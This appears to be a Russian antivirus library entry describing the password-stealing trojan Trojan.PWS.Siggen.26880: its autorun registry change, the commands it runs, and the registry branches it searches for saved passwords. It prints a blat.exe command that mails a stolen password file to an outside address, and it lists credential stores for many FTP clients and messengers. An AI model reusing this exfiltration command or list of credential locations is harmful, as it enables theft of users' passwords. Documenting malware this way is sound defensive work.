Trojan.PWS.Siggen.26880

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Classes\mprf\shell\open\command] '' = '<Текущая директория>\MPR.exe "%1"'

Вредоносные функции:

Создает и запускает на исполнение:

<Текущая директория>\MPR.exe /export
<Текущая директория>\blat.exe -body PassReg -to SpartakKolyan@yandex.ru -attach pass.mpf -install -server smtp.yandex.ru -port 587 -f nikolai.rahmanov@yandex.ru -u nikolai.rahmanov@yandex.ru -pw 1234567890

Запускает на исполнение:

<SYSTEM32>\ping.exe ya.ru -n 5
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\1.bat" "

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

[<HKCU>\Software\South River Technologies\WebDrive\Connections]
[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]
[<HKCU>\SOFTWARE\Mirabilis\ICQ\NewOwners]
[<HKLM>\SOFTWARE\Miranda]
[<HKCU>\Software\FTP Explorer\Profiles]
[<HKCU>\Software\Sota\FFFTP\Options]
[<HKCU>\Software\BPFTP]
[<HKCU>\Software\FTPWare\COREFTP\Sites]
[<HKCU>\Software\CoffeeCup Software\Internet\Profiles]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKCU>\Software\AIM\AIMPro]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\ORL\WinVNC3]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Identities\{4FF38130-294D-42C8-BD62-3A52854427FF}\Software\Microsoft\MessengerService]
[<HKCU>\Software\Microsoft\MessengerService]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Options]
[<HKLM>\Software\Ghisler\Windows Commander]
[<HKCU>\Software\Ghisler\Total Commander]
[<HKCU>\Software\FlashFXP\3]
[<HKLM>\Software\Ghisler\Total Commander]
[<HKCU>\Software\Ghisler\Windows Commander]
[<HKCU>\SOFTWARE\Far2\Plugins\FTP\Hosts]
[<HKCU>\SOFTWARE\Far\Plugins\FTP\Hosts]
[<HKCU>\Software\Far2\SavedDialogHistory\FTPHost]
[<HKCU>\Software\Far\SavedDialogHistory\FTPHost]
[<HKCU>\Software\FlashFXP]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Main]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
[<HKCU>\Software\BPFTP\Bullet Proof FTP\Options]
[<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Main]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
[<HKLM>\Software\FlashFXP]
[<HKLM>\Software\FlashFXP\3]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]